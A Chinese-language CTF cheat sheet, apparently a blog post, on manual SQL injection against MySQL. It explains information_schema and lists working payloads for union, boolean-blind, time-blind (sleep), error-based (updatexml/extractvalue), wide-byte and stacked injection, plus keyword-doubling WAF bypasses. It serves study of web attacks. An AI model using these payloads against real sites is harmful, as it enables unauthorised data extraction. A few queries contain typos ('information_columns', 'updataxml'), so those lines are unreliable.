CTFsum_Web_SQL-injection
手动注入
SQL语句及说明
数据库结构
总结:
6层 (数据库的集合)schema table column (数据)
几种称呼:schema_name table_name table_schema
| 层级 | 数据库概念 | 你的“电脑文件”现实类比 | 在 information_schema 中的“自身身份证” |
我如何称呼上一级(父级)? | 下一级(子级)如何称呼我? |
|---|---|---|---|---|---|
| 第 0 层 (物理环境) |
数据库实例 (MySQL 服务) |
整台物理电脑 (操作系统 + 硬盘) |
(无专门系统表) 由 information_schema 整体代表 |
无(这是顶级,没有爸爸) | 没有子级会记录“实例名”,因为子级(库)只需要知道自己在哪台电脑上运行即可,运行时环境变量自带。 |
| 第 1 层 (容器) |
数据库 / 模式 (Schema) |
硬盘里的一个具体文件夹 (例如 D:\Projects\BlogDB\) |
schema_name(我叫 BlogDB) |
(不需特别称呼) 子级(表)通过 table_schema 字段指向我。 |
子级(表)通过 table_schema 调用我。(表说:我的爸爸文件夹叫 BlogDB) |
| 第 2 层 (文件) |
数据表 (Table) |
文件夹里的一个 Excel 文件 (例如 users.xlsx) |
table_name(我叫 users) |
使用 table_schema 称呼父级。(表说:我的爸爸文件夹叫 BlogDB) |
子级(列)通过 table_name 调用我。(列说:我的爸爸Excel文件叫 users) |
| 第 3 层 (表头) |
数据列 (Column) |
Excel 文件里的列标题 (例如第1行: id、username) |
column_name(我叫 username) |
使用 table_name 和 table_schema 称呼父级。(列说:我的爸爸Excel叫 users,爷爷文件夹叫 BlogDB)(注意这里不叫 column_table,因为“列”没有子级,直接用父级原名) |
子级(具体数据)通过 SELECT 列名 FROM 表名 隐含调用我。(数据行说:我属于 username 这一列) |
| 第 4 层 (内容) |
数据行 / 字段值 (Row / Value) |
Excel 里具体的某一个单元格数据 (例如第2行B列的 admin) |
没有系统表字段名 (只能用 SELECT 列名 FROM 表名 去查) |
使用 SELECT 列名 FROM 表名 中的“列名”隐含称呼父级。(数据说:我属于 username 那一列) |
无(这是最底层,没有孩子) |
判断字符型/数字型

如果两个均报错则为数字型,否则为字符型
数据库操作语句
DML
SELECT
UPDATE
DELETE
INSERT INTO
DDL
CREATE DATABASE
ALTER DATABASE
CREATE TABLE
ALTER TABLE
DROP TABLE
CREATE INDEX
DROP INDEX
具体注入语句
查询所有数据库名 select schema_name from information_schema.schemata
查询当前数据库所有表名 select table_name from information_schema.tables where table_schema=database()
查询指定表的所有列名 select column_name from information_columns where table_name='指定表名'
查询表中指定列的数据 select 列名 from 表名
部分函数
CONVERT(schema_name USING latin1)
注:latin可以替换为 utf8 → utf8mb4 → gbk → binary
使用示例: ' union select 1,CONVERT(schema_name using latin1) from information_schema.schemata#
🧰 常用函数:
| 函数 | 作用 | 注入中的用途 |
|---|---|---|
length(str) |
返回字符串str的长度 |
探测数据库名、表名、字段值的长度 |
substr(str, pos, len) / mid(str, pos, len) |
从pos位置截取字符串str的len个字符(位置从1开始) |
逐字“拆解”数据库名、表名等,以便与具体字符进行比较 |
ascii(str) / ord(str) |
返回字符串str最左面字符的ASCII码 |
将字符比较转为数值比较,配合>、<、=进行判断,更精确 |
database() |
返回当前数据库名 | 注入的“首要目标”,获取库名是第一步 |
user() |
返回当前数据库用户 | 获取数据库连接账号,判断权限高低 |
version() |
返回数据库版本 | 获取版本信息,为后续利用(如利用特定版本漏洞)做准备 |
sleep(n) |
让SQL语句延时n秒执行 |
时间盲注的核心,通过页面响应时间判断条件真假 |
if(cond, a, b) |
如果cond为真,返回a,否则返回b |
常与sleep()结合,构造条件触发的延时注入 |
1. 探测与信息收集
- 判断注入点:
and 1=1:页面正常and 1=2:页面异常
- 获取数据库信息:
and length(database())=8:判断当前数据库名长度为8and database()='security':直接判断数据库名是否为'security'and version()='5.7.33':判断数据库版本and user()='root@localhost':判断当前用户
- 获取表名 (利用
information_schema库):and (select table_name from information_schema.tables where table_schema=database() limit 0,1)='users':判断第一张表是否为'users'
2. 布尔盲注 (基于页面真/假)
通过比较运算,逐字“猜”出数据。
- 猜解数据库名长度:
and length(database())>5:长度是否大于5and length(database())=8:长度是否等于8
- 猜解数据库名具体字符 (配合
substr/mid和ascii):and ascii(substr(database(),1,1))>100:第一个字符的ASCII码是否大于100and mid(database(),2,1)='e':第二个字符是否为'e'
- 猜解表名/字段名/数据:
and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>100:猜解第一张表名的第一个字符
3. 时间盲注 (基于页面响应时间)
当页面没有任何内容变化时使用,通过 sleep() 函数的延时来判断条件真假。
- 延时探测:
and sleep(5):强制延时5秒
- 条件延时:
and if(length(database())=8, sleep(5), 0):如果数据库名长度为8,则延时5秒and if(ascii(substr(database(),1,1))=115, sleep(5), 0):如果第一个字符是's'(ASCII码115),则延时
4. 报错注入 (利用数据库报错信息)
通过触发数据库错误,让其在报错信息中“吐”出数据。
- 利用
updatexml报错:and updatexml(1, concat(0x7e, (select database()), 0x7e), 1):爆出当前数据库名
- 利用
extractvalue报错:and extractvalue(1, concat(0x7e, (select user()))):爆出当前用户
5. 联合查询注入 (UNION)
适用于页面有明确数据显示位置的情况。
- 判断字段数:
order by 4:按第4列排序,若报错则字段数小于4
- 获取数据:
union select 1,2,3:探测数据显示位union select 1, database(), version():在显示位爆出数据库名和版本
注意事项
URL中#应转为%23 URL中--+即为--空格 为有效注释
一般=判断的时候才加单引号,否则不加
手动注入中的见招拆招
宽字节注入
通过输入%bf%27使系统转化后相当于簔'
如果table_name=后面需要用''则将flag整体转化为0x····不带单引号
堆叠注入
直接加;show database();show columns from 特定表名 和desc 特定表名
报错注入
updataxml(1,concat('~',str((select 特定列名 from 特定表名),1,31)),3)
WAF绕过
关键词过滤-》拼接ununionion seleselectct/大小写UniON SeLecT
代码特性
等等(待补充)
SQLmap


浙公网安备 33010602011771号